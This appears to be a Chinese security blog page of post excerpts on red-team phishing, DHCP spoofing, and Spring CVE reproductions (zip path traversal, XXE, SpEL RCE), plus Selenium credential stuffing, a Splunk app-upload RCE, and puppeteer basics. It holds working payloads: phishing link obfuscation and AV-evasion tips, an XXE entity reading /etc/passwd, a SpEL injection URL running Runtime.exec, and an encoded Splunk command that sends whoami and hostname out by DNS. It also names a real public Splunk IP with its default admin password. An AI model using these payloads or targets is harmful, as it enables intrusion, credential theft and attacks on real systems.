渗透技巧

一次真正了解红队之旅-2018-【翻译】

一次真正了解红队之旅-2018-【翻译】
刷Twitter看到一文,老外写的一个叙述红队以钓鱼为向量的行动,翻译学习了下。英文原文:https://ringzer0team.com/d/A-Journey-Into-a-RedTeam-2018.pdf 我的理解翻译如下:红队    红队怎么玩的呢?红队一般在行动前都会有自己的目标,下面的笔记是以钓鱼为攻击向量的一次红队行动。制定红队目标了解目标,收集目标信息开始钓鱼攻击制作包含恶意代码的Payload猎杀时刻使用的工具&建议一、制定红队目标:    0x1:   评估客户对威胁行为的反应能力    0x2:通过实现预先定义的目标(访问CEO电子邮件、访问客户数据等)来评估他们的安全状态。    0x3:演示攻击者用来攻击获得客户资产的潜在路径内部安全测试 VS 红队目标    内部安全测试:        就像电影《第一滴血》里史泰龙出场一样,一个字,就是“干”,干掉所有的阻碍,直到干掉最大的Boss。    红队:        更像007一样,周密计划,精准打击,以最小行动,斩首行动。二、识别目标    我们的攻击向量是-钓鱼创建目标列表识别安全产品选择钓鱼主题2.1 如何识别你的目标?社交平台上可能会找到目标员工的照片,员工姓名等搜索与目标相关的电子邮件的历史密码,搜索GitHub、pastebin等。OWA 和Office365是你的好朋友,OWA 泄漏GAL:https://your.target/owa/service.svc?action=GetPeopleFilters        没有MFA(介绍)设备下,暴力破解密码,获得邮件读写权限        https://your.target/EWS/Exchange.asmx        云上的Office365    读写邮件https://outlook.office365.com/api/v1.0/密码暴力破解https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml   4.  Shodan 搜索目标的公网IP段 和寻找:Citrix 门户OWAVPN任何可以通过远程认证的服务,他们可能没有强制2FA认证,你就可以进行暴力破解。    5.  给目标邮件服务器发送一封不存在的邮件地址,等待获取返回的错误信息。比如下面:        通过错误的邮件,看看返回邮件信息判断对方邮件服务器使用的安全软件,配置了何种安全策略等。     6.  认识你的目标,LinkedIn也是你的好朋友。(寻找该公司的员工信息)     6.  浏览下目标的官网,寻找一些钓鱼主题的想法,比如忠诚度考验?三、开始钓鱼    开始钓鱼前有几大规则需要注意不要把恶意的有效载荷放入电子邮件不允许自动化解决方案洞察发现你的最后一步使用分类域使用SSL证书有效的HTTPS尽可能的让邮件看起来无聊避免域使用带错别字带域名不要重用您的域名   分析原因不要把恶意的有效载荷放入电子邮件通常发送钓鱼邮件带上一个指向你可以控制的服务器的链接,因为无论目标使用了何种安全产品,他们都会允许采用你给的链接,如果你的payload有什么问题,你可以及时的修改你控制的服务器。下面是一封钓鱼邮件例子:嗨,鲍伯,    我们目前正在更新我们的行为守则。请尽快审查和接受。行为准则可以在这里找到:HTTPSE//PHISH.DOMIA/CONDEY/CODE/A2EF362E-4D0-B21D-5ABF-EDECE29 D365Cb/谢谢,来自人力资源部的查尔斯通过简单的Apache mod_rewrite规则生成具有唯一ID的“企业” URL重写代码如下:效果如下:(类似DNSlog, 给每一个测试payload一个标识一样便于区分被钓鱼的对象)钓鱼URL:https://phishy.domain/company/code/a2ef362e-45d0- b21d-5abf-edce29d365cb/实际URL:https://phishy.domain/company/index.phpRewriteEngine OnRewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*)$ index.php [L,QSA]  2.  不允许自动化解决方案洞察发现你的最后一步              使用JavaScript生成有效载荷的最终链接        比如:让我们假设钓鱼网站上的HTML看起来是这样的:        <a href="https://phishy.domain/payload.docm">下载行为准则</a>        自动化安全工具可以很容易地处理HTML并拉动有效载荷来执行进一步的分析。        但是如果使用Javascript生成最终的链接如下面这样:<a id="download" href="#">下载行为准则</a><script> document.getElementById("download").onclick = function() { document.location = "https://phish" + "y.domain/pay" + "load.docm";  }; document.getElementById("download").click(); </script>        网络钓鱼与用户体验有很大关系,不点击任何东西,而强制用户点击click()进行下载文件,浏览器将会提示下载窗口。  3.  使用分类域名        在评估之前,只需克隆一个合法网站,并要求安全产品对钓鱼域名进行分类。        比如作者准备的在webroot目录下执行这个sh文件:#!/bin/bashecho "Cloning $1"wget $1 -O index.html &> /dev/nullTAG="<base href=\"$1\"/></head>"sed '/<\/head>/i\'"$TAG" index.html | tee index.html &> /dev/nullecho "index.html was saved and modified"        搜索已经过期的域,分类,这可能是有用的,是分类域名最懒惰的方法。作者也给出了脚本:https://raw.githubusercontent.com/Mr-Un1k0d3r/CatMyFish/master/CatMyFish.py  4.  使用SSL证书有效的HTTPS      使用免费的https证书,搭建网站。  5.  尽可能的让邮件看起来无聊        如果邮件非常非常无聊,但是又很重要,哪就太好了!比如下面几方面邮件:内部行为守则更新强制性骚扰网络课程等员工问卷调查等这些邮件主题较少引起怀疑。  6.  避免使用带错别字带域名    作者了一个举例比较下面两个域名:northsex.io      VS        northsec.canadianevent.com   前者的钓鱼域名就是将真正的域名的northsec 改变了一个字母以此来迷惑用户,其实这个对于安全意识越来越高的现代人来说,很容易就对前者产生了怀疑。但是现在的服务越来越多样化,很多公司都会有第三方服务,这些第三方服务通常会带上目标公司的域名做前缀。比如:大绿盟的关爱痛服务-http://nsfocus.guanaitong.com/主站:http://www.nsfocus.com.cn/ 关键字:nsfocus第三方服务平台:使用关键字nsfocus做前缀http://nsfocus.guanaitong.com/如果构造nsf0cus.com.cn、nsFocus.com、nsfocus1.com.cn  这一类域名,很容易产生怀疑了。哪么我们构造下面这些,你能看出哪些是钓鱼网站吗?nsfocus.fuli.comnsfocus.baoxian.comnsfocus.gongjijin.comnsfocus.guanaitong.com哦豁,怎么让腾讯爸爸打勾?  7.  不要在其他项目重复使用你的域名        避免泄漏了客户的信息四、制作Payload        通常的bypass安全产品检测的方法是执行不同的操作-这些产品通常是防止基于某些指纹的恶意有效载荷的执行。        攻击者完成了bypass所有安全层的策略后,就能够在目标系统上悄无声息的执行恶意代码。        混淆 和 规避$a = 3;                                                // 原始代码 $a = 1 + 2;                                            // 混淆处理if(context == “sandbox”) { $a = 3; } else { exit() }   // 规避        时髦的东西不一定是好事情,安全厂商通常会努力阻止最新的技巧,你最近一次听说发现一种新的很酷的检测二进制文件的方法?    “现在人人都会用PowerShell”        一些制作Payload的规则:不要直接执行PowerShell为此作者写了一个工具:PowerLessShell,实现了不调用powershell.exe的情况下执行PowserShell命令;如果你使用宏来执行命令,避免使用WScript.Shell 和 Shell(),因为大多数安全产品会跟踪WINWORD.exe触发生成子进程。你可以使用WMI来执行你的payload;作者也给了一个工具:MaliciousMacroGenerator如果你计划使用签名过的exe可执行文件,需要小心一些安全厂商将:regsvr32.exe, msbuild.exe等文件加入了黑名单的。作者提供了一个修改签名后的二进制文件Hash的工具,因此绕过黑名单,Windows-SignedBinary也可以执行使用copy复制一份新文件,改一个新名字。比如:添加些环境检测条件,避免在不合时宜的环境下执行无意义的代码。这里提到了ClickOnce, 给了一个工具 https://github.com/Mr-Un1k0d3r/ClickOnceGenerator可能早已经有一些人写好了一些混淆你的payload的工具比如:SCT COM Scriptlet: https://github.com/Mr-Un1k0d3r/SCT-obfuscatorEXE (shellcode): https://github.com/Mr-Un1k0d3r/UniByAvEXE (shellcode): https://github.com/Mr-Un1k0d3r/DKMCBase64 (PowerShell): https://github.com/Mr-Un1k0d3r/Base64-Obfuscator尽可能隐蔽的连接回你的C2服务器作者提供了一个工具,ThunderShell。它是一个依赖于HTTP请求进行通信的基于powershell外壳的RAT。使用RC4的第二层对所有网络流量进行加密,以避免SSL拦截并击败网络钩子。选择一个合适的payload:copy powershell.exe tLclgEomOrR.exetLclgEomOrR.exe –exec bypass Get-Help或者用宏完成:o = CreateObject("Scripting.FileSystemObject") o.CopyFile(source, destination)Macro: 自从Office 2016后,默认就关闭了宏HTA:这是一个很流行,但是经常被检测发现的ClickOnce: 要求使用IE 浏览器EXE: 可能被应用程序的白名单阻止    不要直接执行PowerShell,对比如下:Macro -> WMI -> PowerShell                 VSMacro -> WMI -> PowerLessShell (MSBuild)我们精心制作的payload被安全产品友好的接纳,现在已经准备好大干一场。五、猎杀时刻                                    We have a shell(鱼儿上钩了)鱼儿上钩了后第一件事就是在鱼儿掉线之前,尽可能的获取更多的信息。用户名,邮件列表避免直接执行PowerShell 避免使用net 家族的命令发起网络行为避免连接所有的系统可行方案是使用,非托管的PowerShell和LDAP查询比如:CobaltStrike 内置的powerpick命令,作者给的ThunderShell 工具也支持。作者给了一些dump 用户名,dump邮件的Powershell脚本https://raw.githubusercontent.com/Mr-Un1k0d3r/RedTeamPowershellScripts/master/scripts/Utility.ps1后面基本说的是他写的RedTeamPowershellScripts的可以干些什么事,有什么作用了,耐心的话可以去Gayhub学习。六、工具&技巧        大多数Windows命令可以通过PowerShell来调用,为了不派生出cmd.exe可以用CobaltStrike的powerpick 或者作者的 PowerLessShell         https://github.com/PowerShellMafia/PowerSploit 这个开源项目也提供了很多有用的脚本        因为时间的紧迫,可能红队没有多少时间去思考做好隐蔽性,但是可以使用适当的技术和适当的工具让攻击变得隐蔽。        一次好的钓鱼行动,获得的结果是不同的,制作payload是一门艺术,耐心对待。不惜一切代价避免直接执行PowerShell.... 继续阅读 »
渗透技巧

一次局域网里DHCP欺骗实践-分析与记录

一次局域网里DHCP欺骗实践-分析与记录
起因:        最近出了一个红帽的DHCP Client 命令注入漏洞,编号:CVE-2018-1111,在研究复现中突然有了做DHCP欺骗的想法,于是做了如下的这个实验。测试思路:        1. 攻击者IP(10.10.32.33)监听DHCP的Discover请求,伪造DHCP Offer 和 DHCP的ACK,完成自定义IP的分配实现DHCP的伪造。        2.  新接入的电脑使用DHCP接入网络,尝试获取可用IP。        3. 被攻击目标先后为:DHCP接入,静态IP接入形式。测试过程及现象解读:        为了测试DHCP欺骗,需要寻找一个用于DHCP欺骗的工具,在GitHub上找到了一个使用python的scapy套件编写的脚本,使用起来棒棒的,这是写来玩之前shellshock漏洞的脚本,地址:https://github.com/byt3bl33d3r/DHCPShock/blob/master/dhcpshock.py 如果对这个漏洞感兴趣可以看这个文章;https://www.trustedsec.com/2014/09/shellshock-dhcp-rce-proof-concept/        拿到脚本我们读懂几个参数就可以拿来直接做实验了,#siaddr = DHCP server ip  可以是攻击者IP 也可以是真实的DHCP的Server 地址 #yiaddr = give client one ip  你给它分配的IP,它将用来接入网络的 #xid = transaction id     Transaction ID,可以不管 #chaddr = clients mac address in binary format    发起DHCP的客户端MAC地址            我们还需要注意修改Offer和 ACK响应包里的server_id,router参数,我在测试时修改的截图如下:            脚本准备好了,就可以开始实验了,输入下面的命令运行脚本:sudo python dhcpshock.py -i en4 -c "whoami"        这里指定了网卡,en4    和命令(可以修改下脚本去掉这个)        现在就可以做网络接入实验了,我们如上面的Offer 和ACK的配置,是给所有新的DHCP接入的电脑返回伪造的包,伪造包欺骗接入电脑使用脚本里设定的如10.10.32.147这个IP地址。        实验一: 新电脑DHCP接入,欺骗分配已存在的IP10.10.32.92,该电脑以DHCP形式接入网络        测试效果如下图:            如上如所示,成功欺骗了虚拟机WIn7系统,配置了IP 10.10.32.35.       可以看到上图中,攻击者10.10.32.33,优先于真正DHCP Server 10.10.8.22进行了IP分配和应答,这导致了DHCP的客户端信任了这个返回包,我们知道DHCP是基于UDP协议,这就给了伪造的机会。        对比测试,没有攻击干扰时如下:                        没有干扰时,虚拟机接入,获取到IP 10.10.32.29,并成功的设置为这个IP。        实验二: 新电脑DHCP接入,欺骗分配IP为已经存在的IP 10.10.32.92,该电脑以DHCP形式接入网络                实践中找了一个网络中已经存在的IP地址,进行强行的分配测试,发现能够成功夺取该IP,如下图:                分析:                因为10.10.32.92电脑以DHCP配置接入网络,在给Win7欺骗分配这个IP时,Win7尝试使用时提示了IP冲突,这个时候真正的32.92这个IP的电脑,也会出现提示IP冲突。这里猜测:在出现IP冲突时,出于网络主动恢复思路,系统底层应该会主动发起DHCP request 带上之前的分配信息给DHCP Server。win7被欺骗后,一直在强调我用32.92这个IP,受害者也在强调使用这个IP,最终受害者的DHCP Client应该会妥协重新发起获取IP请求,然后使用其他IP。至此。IP成功抢走。。(纯猜测)。。                  实验三: 新电脑DHCP接入,欺骗分配IP为已存在的IP-10.10.32.147,该电脑以手动配置静态IP形式                测试如下图:                    测试中发现不能长久抢走该IP地址,Win7虚拟机能在莫瞬间的使用这个IP地址,被攻击目标10.10.32.147电脑会出现偶尔的丢包情况。        实验结论:        1、这个脚本是可以做DHCP欺骗的        2、在网络环境中,DHCP形式接入网络,可能是不安全的。攻击者可以伪造响应包,攻击DHCP客户端,可以分配错误的IP,给定错误的网关IP实现流量劫持等操作。        3. 静态IP绑定较安全,如果出现网络丢包情况时,可以用wireshark抓包看看DHCP的响应IP,如果非正常的DHCP Server则可能存在攻击者。        4. 如果网络中存在服务器种了木马,利用CVE-2018-1111和shellshock的漏洞伪造DHCP返回包,攻击内网其他服务器的攻击方式,很难被发现。。不知道有没有防御这种的产品和思路?参考:        1. DHCP协议原理分析... 继续阅读 »
渗透技巧

CVE-2018-1261-复现和分析

CVE-2018-1261-复现和分析
开篇:       日前,Spring的一个zip组件被爆了一个严重的漏洞,漏洞编号和标题为CVE-2018-1261 Unsafe Unzip with spring-integration-zip。根据描述在spring-integration-zip的1.0.1版本之前在对bzip2, tar, xz, war, cpio, 7z类型的压缩文件进行在解压的时候,如果压缩文件是恶意构造的不可信文件,可导致向任意目录写入文件。现在我们来复现和分析一下该漏洞的发生细节。复现漏洞:       为了复现漏洞,我们可以到Spring的GitHub下载存在漏洞版本的源码文件,地址:https://github.com/spring-projects/spring-integration-extensions/releases 下载1.0.1之前的版本,然后在本地解压。        然后到spring-integration-zip目录下,使用命令:./gradlew idea        生成idea的项目文件,执行完成后,即可用IDEA打开spring-integration-zip.ipr文件如下:        根据描述,提到了This specifically applies to the unzip transformer.        我们可以通过修改src/test/java/org.springframework.integration.zip/transformer文件下面的测试文件进行漏洞的复现和分析,        这个目录下面有这些文件:            这里自带了2个测试类,分别是测试压缩和解压相关的。从漏洞描述里,我们大概可以猜到是在解压的压缩包文件里有文件名为:../../../../hack.txt这样的文件,在解压释放时将文件名直接和文件路径进行拼接,然后创建文件,因 ../../ 跳跃到了其他目录,文件被释放到了预期意外的目录下面从而导致了漏洞发生。        于是我们需要制作一个这样的“特殊”文件,这里可以通过ZipTransformerTests文件里的函数,加以修改来实现,修改测试代码如下:                        我们通过unzip命令看看压缩包文件的结构如下图:                        做好了压缩包后,下面是参考给出的测试方法,修改的解压代码截图如下:                现在我们可以使用Junit运行这个测试函数,观察tmp目录,会生成txt文件,                我们来调试看看,下断点跟进处理doZipTransform的实现代码里,如下图:                这里的payload是MessageBuilder类的withPayload函数的参数,是一个输入流,读取加载的是我们给的zip文件,                        下面是实现的是使用ZipUtil类遍历输入流里每一个Entry利用回调函数ZipEntryCallback处理它,重点看处理的逻辑:    继续跟进:        文件成功释放到指定目录,如下截图:                    到此漏洞已经被成功利用,产生漏洞的原因是对压缩文件里的文件名没有任何过滤,直接进行文件路径+文件名的拼接,创建了新文件。        我们看看官方给的修复是怎样的,补丁地址,部分截图如下:                首先删掉了直接拼接的代码,加入了一个checkPath函数,该函数代码如下:        我们更新一下这块修复代码然后再次进行测试如下图:        这里已经测试失败了,因为checkPath函数对destinationFile进行了判断,即判断了要写入的文件绝对路径值(destinationFile.getCanonicalPath()函数)是否包含了指定的释放目录,在这个下面,  这里很明显不满足,抛出异常程序终止了。                想法很皮,实践测试中,发现似乎也不会出现想的那样,绕过了进行文件写入操作,报错如下:                测试中发现更新了最新的补丁的现在(CVE-2018-1263补丁后),虽然不能任意目录跳了,但是可以在设置的workDirectory下面跳,最上层跳不出这个限制。比如,制作压缩包:解压代码:解压后:        这里举例说这个情况,是告诉大家配置不当会存在一定风险的,在配置workDirectory时尽量最小化配置,别配置成/var/ home/这一类的路径了,因为这些下面有一些地方被任意写入了文件是很可怕的。需要注意!!!参考来源:    1、https://www.cnblogs.com/yangxiaodi/p/9036916.html     2、https://www.anquanke.com/post/id/144775     3、https://pivotal.io/security/cve-2018-1261... 继续阅读 »
渗透技巧

关于CVE-2018-1259-XXE漏洞复现

关于CVE-2018-1259-XXE漏洞复现
前提:    最近Spring几连发的漏洞里有一个漏洞是CVE-2018-1259,地址是https://pivotal.io/security/cve-2018-1259,根据我对描述的理解,这个锅不应该给Spring接啊,描述有一段话:Spring Data Commons, versions prior to 1.13 to 1.13.11 and 2.0 to 2.0.6 used in combination with XMLBeam 1.4.14 or earlier versions contain a property binder vulnerability caused by improper restriction of XML external entity references as underlying library XMLBeam does not restrict external reference expansion.    描述中说Spring 的公用数据组件的1.13 到 1.13.11版本和2.0到2.0.6版本使用了XMLBeam 1.4.14 或更早的版本,它存在一个外部实体应用即XXE漏洞。问题出在XMLBeam身上,修复方式就是升级XMLBeam到1.4.15以上,这个锅Spring不应该背吧。复现XMLBeam的XXE漏洞和分析:     这个CVE应该给XMLBeam的,但是它的下载地址是https://xmlbeam.org/download.html,我们在GitHub找了一个使用XMLBeam的demo来进行漏洞复现和分析。    Demo地址:       https://github.com/olivergierke/spring-examples/tree/master/scratchpad/src    下载然后导入IDEA:            这个Demo代码有点小情况需要处理才能很好的跑起来,导入IDEA后,用Maven开始构建。在site使用插件运行时,它使用的是Jetty组件运行,这个情况就是怎么访问uri地址/customers 都是404,一直很纳闷。在折腾中,我发现用junit测试是OK的,能复现和调试漏洞。后来同事提到用Spring-boot运行就很OK。于是这里记录一下怎么改用Spring-Boot运行(现学现用)。    在上面的那个位置,添加SpringBoot启动代码,现在我们就可以右键直接run了。        现在我们可以简单阅读demo代码,理解如何测试,找到XmlBeamExample.java文件如下:    看看pom.xml确认一下XMLBeam的版本,用的是老版本1.4.6,目前最新的版本是1.4.14.            环境准备好了,我们开始下断点,和构造测试的POST请求,构造POC如下:<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <user> <firstname>&xxe;</firstname> <lastname></lastname> </user>        根据代码,我们需要构造POST请求,构造一组参数,XMLBeam会根据参数map对应进行自动解析绑定。        先复现一下效果:                这个漏洞的根本原因是由于XMLBeam的用法不当,我们在XMLBeamd 库里找到创建XML解析实体对象的地方,如下截图:            上面的是1.4.6版本,从官方下载最新的1.4.14版本的jar包源码看看,同样存在问题的,如下截图:        官方目前没有挂出更新后的版本,在maven仓库里我们可以搜到,已经有里修复版本1.4.15,地址:http://mvnrepository.com/artifact/org.xmlbeam/xmlprojector 下载最新的版本后,再查看此处配置如下:一些配置项如下:        从更新的代码来看,已经使用了开发语言提供的禁用外部实体的方法修复了这个XXE漏洞。                Spring官方的修复方式也是更新了这个库到1.4.15版本,https://jira.spring.io/browse/DATACMNS-1311?jql=project%20%3D%20DATACMNS%20AND%20fixVersion%20%3D%20%221.13.12%20(Ingalls%20SR12)%22         收获:        1、关于如何安全的使用和解析XML文本,可以看看下面给的参考文        2、知道了Spring Boot的这种启动方式,Jetty的坑,更加发现了Maven+IDEA配合的强大    参考:        1、https://docs.spring.io/spring-data/commons/docs/current/reference/html/#core.web.binding         2、https://security.tencent.com/index.php/blog/msg/69         3、https://blog.csdn.net/qq_32331073/article/details/79941132         4、https://pivotal.io/security/cve-2018-1259... 继续阅读 »
渗透技巧

CVE-2018-1260-RCE分析

CVE-2018-1260-RCE分析
本篇是漏洞编号:CVE-2018-1260的复现和分析过程笔记,https://pivotal.io/security/cve-2018-1260 【前方高能预警】分析过程可能非常的细,如果看不下去的话,可以看看先知大佬的分析文,最后会贴出地址。安装Demo:    从GitHub搜索找到了spring-security-oauth2-example 的代码,下载导入IDEA,配置JDK8.0            配置mysql连接,创建对应的数据库和表,这里提供一份sql文件,创建数据库alan-oauth,导入sql即可。地址:demo.sql            为了复现这个漏洞需要对源码进行修改,找到src/main/java/config/OAuthSecurityConfig.java 修改configure函数为下面内容:@Override     public void configure(ClientDetailsServiceConfigurer clients) throws Exception { //        clients.withClientDetails(clientDetails());         clients.inMemory()                 .withClient("client")                 //.secret("secret")                 .authorizedGrantTypes("authorization_code")                 .scopes();     }        到此环境已经准备好,现在可以准备调试复现漏洞了。复现&调试        复现:        使用sping-boot run 启动环境,访问GET类型的授权URL:http://localhost:8080/oauth/authorize?client_id=client&response_type=code&redirect_uri=http://www.baidu.com/&scope=%24%7BT%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22/Applications/Calculator.app/Contents/MacOS/Calculator%22%29%7D       它会跳转到一个登录页面,此时随意输入账号密码,点击登录即可弹出计算器:     调试分析:            上面我们已经复现了漏洞,现在进行调试跟踪一下弹计算器的过程做一做笔记,尽量写的详细一点。正向分析过程如下            从POC的复现触发过程,访问的URI /oauth/authorize 入手,我们尝试找到处理这个uri的地方,你可以通过源码全局搜索找到这个文件的地方文件地址:    org.springframework.security.oauth2.provider.endpoint.AuthorizationEndpoin    上面的代码中定义了2个跳转地址:private String userApprovalPage = "forward:/oauth/confirm_access"; private String errorPage = "forward:/oauth/error";    这两个地址就是用于完成该函数后,跳转过去的地址。    3、这个文件里定义了两个ModelAndView,分别处理GET/POST不同类型的认证的;我们找到了处理的入口函数后,现在可以开始调试了,在处理GET请求的函数逻辑里下断点,然后debug运行起来                运行起来后,用浏览器访问GET请求的认证POC地址,在出现的登录框里任意输入账号密码,点击Login                可以看到请求进来后,停在了断点处,parameters值就是GET请求里传进来的4个参数;调试Trick-1:        为了防止进入该断点逻辑后,再无法回到当前逻辑处,我们可以在该逻辑的下一行逻辑或代码处再下一断点。如下        现在我们可以放心大胆的跟进去吧,不用担心迷路后再也回不到这里来了。        到工厂里看看,这里前面几个处理是在读取值初始化,需要重点关注的是extractScopes,它的参数就是前面传进去的4个值,我们进去看看。        为了防止迷路,好习惯要开始养成不要忘了。    进去后是这样的,如下图所示:                如上图所示,先使用我们传入的scope值,按照空格分割,处理得到scopes 集合,然后实例化了一个clientDetails对象,这里面包含的就是我们的本地oauth的配置信息, 这个信息在代码中配置截图如下:        到了这里我们可以认真分析一下这里到代码,如下图:于是返回的是这个:回到上层函数继续跟进,我们可以看到我们传入的参数将拿去实例化一个认证请求类。这个认证请求类,目测是不需要多关注了,我们还是简单进去看看。再下个断点进去        到此,工厂返回的认证类实例化对象流程已完成,返回的认证类的scope被赋值了我们的恶意语句。回顾一下,恶意的scope在这个厂里生成时,在extractScopes 取值时,完全信任了客户端请求中传入的值。我们继续往下跟,看看后面有没有做处理,以及怎么被触发的。流程回到处理GET请求认证的ModelAndView处,此时的状态如下:紧跟着是一些if else的判断,大概浏览下,这些都是能顺利通过判断的,往后浏览发现156行处需要关注,根据取名意思推测这可能是最后一道门,看看对Scope做了什么校验: oauth2RequestValidator.validateScope(authorizationRequest, client);    为了防止断点跟飙了,在下一个逻辑160行代码再下一断点,然后跟进看看这个validateScope的逻辑    调试Trick-2:            想直接跳过很多逻辑直接到下一个断点,不想单步,或一个函数一个函数的调,下一个跟进点打断点后,直接Resume Prog    跟进去发现这里开始比对传入的scope和本地配置的scope值:    继续跟进    因为我们本地没有配置scope,所以这个里的clientScopes为空的第一个if条件不满足,不会抛出异常Invalid scope。请求带scope不为空,第二个if条件也不满足不会抛出异常Empty scope         继续往下看,下面的代码如下:        我们需要跟进checkForPreApproval了解下做了些什么操作,跟进去后发现逻辑有点多,较复杂。调试Trick-3:        当函数逻辑较复杂时,为了防止绕晕后,因意外跳出了该函数而懊悔,我们可以在函数退出的地方先下断点。            从单词的字面意思可以理解为检查先前是否被批准,被允许的,我们跟进去看看;        理解一下上面的代码,创建的ClientDetails类的实例化对象client,代表了本地配置的信息,requestedScopes代表的是 authorizationRequest里初始化后的scope集合,for循环就是在遍历authorizationRequest里设置的scope的集合是否包含在本地配置的范围如果包含就添加进approvedScopes。很明显这里不成立,因为本地我们没有配置scope,这个的approvedScopes最后为空的,如下图:            继续跟下去,发现在本地配置没有找到,开始查询数据库,截图如下:        我的数据库完全是空的,所以这里也不会查到任何信息,最后的approvedScopes也是为空的,所以我们在退出地方下断点,直接跳过去,看看退出时,approved值也应该是false,如下图:     回到上层,继续往下看    我们跟进去看看,里面是做什么的 :跟下去看到,会将当前带有恶意scope的authorizationRequest,forward到/oauth/confirm_access处,如下图:    我们继续跟下去,先搜索找到/oauth/confirm_access的处理地方,下断点等候流程跳过去;找到位置如下图:org/springframework/security/oauth2/provider/endpoint/WhitelabelApprovalEndpoint.java这里已经看到了危险的气息,点击Resume Program直接到这里来,我们可以看到给SpelView解析的模版里面,已经带入了恶意的scope的值,这个模版的页面就是提供给前端手动认证的页面。这里就不需要再跟进了,直接Resume Program,即可触发弹出计算器;            至此整个漏洞的触发流程已经分析完成,回顾一下整个分析过程我们揪出一下产生漏洞是由于输入的scope没有安全检查,当没有配置scope值时,输入的scope经过一层层处理,最终到了SPEL解析引擎补丁修复:    commit记录: https://github.com/spring-projects/spring-security-oauth/commit/adb1e6d19c681f394c9513799b81b527b0cb007c    从补丁的变化来看,去除了SpelView的解析模版方式了,直接拼接的HTML,并用HtmlUtils.htmlEscape编码输出页面的值,。    参考:        1、https://pivotal.io/security/cve-2018-1260         2、https://xz.aliyun.com/t/2330... 继续阅读 »
Python编程

[撞库测试] Selenium+验证码打码时的特殊情况-【遇到滚动条】

[撞库测试] Selenium+验证码打码时的特殊情况-【遇到滚动条】
题外话:     测试的目标网站如果,登录接口有验证码+浏览器环境检测的时候,有时候脚本小子就望而却步了比如我。因为正面对抗JS的环境检测和验证码是有难度的,这个时候我们可以借助Selenium + 打码平台来搞一搞。这里只做笔记记录,不做具体细节描述,如有兴趣可以私下交流。测试目标:        我们的假定目标如下,某贷网站的登录入口:关键点:       1、需要自动填充账号、密码       2、需要将验证码进行截图,然后接入打码平台SDK       3、这里暂时不管,短信验证码。一般情况:        使用Selenium进行自动化登录的基本操作是会的,结合打码平台的SDK的操作也是基本的,有时候会遇到验证码是特殊url,页面关联性很强的时候,想要打码,必须使用通过截图打码来完成登录。关于selenium+验证码截图网上搜一搜有很多,比如你会搜到下面的:上面的这种在windosw上确实OK的,不一般的情况:        上面的情况适合一部分Window用户,Mac电脑上就不一样了,多次的实践结果证明Mac上的对验证码截图部分代码应该是下面这样写的:(曾经去B站大佬面前演示过B站可被撞库)特殊情况:        今天遇到了不一样的情况了,这个情况就是开篇截图里的情况。当登录页面有滚动条的时候,上面的2种做法都行不通了。回顾截图的代码,思路是,先整体当前网页全屏截图,然后通过Selenium查找到验证码图片元素,拿到该图片元素的长-宽,以及在页面的location相对位置,然后通过计算得到截图的坐标,通过4个坐标点,进行截图得到了我们想要的验证码图片。       这里的新情况是,页面出现了滚动条,如下图:    在有滚动条的时候,验证码图片的相对位置计算方式就不一样了,滚动条向下滚动了,验证码图相对于网页的左上角是更近了一些距离,这个距离就是滚动条的滚动距离。    所以4个点坐标的正确计算方式记录一下应该如下:       上面的思路是:                1. 获取当前滚动条滚动距离。                2. 创建一个标签,记录该值,然后selenium找到这个标签,拿到这个值。                3. 验证码元素的相对位置y值需要剪掉滚动的距离。    这样就能拿到验证码图片了        剩下的工作就是SDK打码,输入验证码,进行测试了,这就不多说了。。总结:        确认过眼神,就是这么整。... 继续阅读 »
渗透技巧

splunk远程命令执行漏洞(超级管理员权限)

splunk远程命令执行漏洞(超级管理员权限)
1、漏洞产生原理       Splunk允许在使用超级管理员权限登录后,在“应用”-“管理应用”功能里,通过上传本地文件或者从网络安装新的应用。通过构造恶意的应用,攻击者可以实现远程命令执行。和Tomcat 登进manager/html 部署war拿shell类似2、漏洞复现如下:复现版本:splunk6.6.6第一步,打开找到从本地上传文件,安装应用的页面: 第二步,选择和上传恶意的App文件,并安装 [^upload_app_exec.tgz]  msfconsole提供的文件https://github.com/rapid7/metasploit-framework/blob/master/data/exploits/splunk/upload_app_exec.tgz 安装后,在应用里出现新安装的恶意应用(第四个) 第三步,任意Splunk用户均可触发执行任意的系统命令payload:* | script msf_exec ZWNobyBoZWxsb19rb21pXzIwMTg+L3RtcC94eHh4b29vbw==         公网找的一个测试地址:        http://50.112.233.208:8000/        默认账号密码:admin/changeme            构造payload:            * | script msf_exec cGluZyBgd2hvYW1pYC5gaG9zdG5hbWVgLnNwbHVuay54Lnhma3hmay5jb20=   满满的爱。。。3. 漏洞影响评估      从漏洞产生原理来看,是由于Splunk对安装应用没有做恶意检测造成。因为这是正常的功能,Splunk官方不认为是安全漏洞,但攻击者拿到system权限后可以通过利用这个正常的功能实现对操作系统的控制。恶意应用可以是本地构造的上传文件,也可能是官方推送的”更多的应用“。从Zoomeye看分布情况。https://www.zoomeye.org/searchResult?q=Splunk 还好,暴露在公网的不算多。大部分都是改过默认密码的。。4. 修改建议      建议直接禁用了新应用安装功能5. 参考    https://www.exploit-db.com/exploits/23224/... 继续阅读 »
渗透技巧

初学puppeteer的碎碎念

初学puppeteer的碎碎念
【一】什么是puppeteer?          Puppeteer(中文翻译”木偶”) 是 Google Chrome 团队官方的无界面(Headless)Chrome 工具,它是一个 Node 库,提供了一个高级的 API 来控制 DevTools协议上的无头版 Chrome 。也可以使用完整正常的 Chrome浏览器。【二】一些基本操作安装安装可以用下面的命令:yarn add puppeteer 或者 npm i puppeteer基本环境        Nodejs 的版本不能低于 v7.6.0, 需要支持 async, await.        需要最新的 chrome driver, 这个你在通过 npm 安装 Puppeteer 的时候系统会自动下载的Demo代码const puppeteer = require('puppeteer'); (async () => {   const browser = await (puppeteer.launch({     executablePath: '/usr/local/lib/node_modules/puppeteer/.local-chromium/mac-536395/chrome-mac/Chromium.app/Contents/MacOS/Chromium',     //设置超时时间     timeout: 15000,     //如果是访问https页面 此属性会忽略https错误     ignoreHTTPSErrors: true,     // 打开开发者工具, 当此值为true时, headless总为false     devtools: false,     // 关闭headless模式, 会打开浏览器     headless: false   }));   const page = await browser.newPage();   await page.goto('http://www.coffeehb.cn');   await page.screenshot({     path: 'poc.png',     type: 'png',     fullPage: true,   });   browser.close(); })();      执行demo文件命令: node  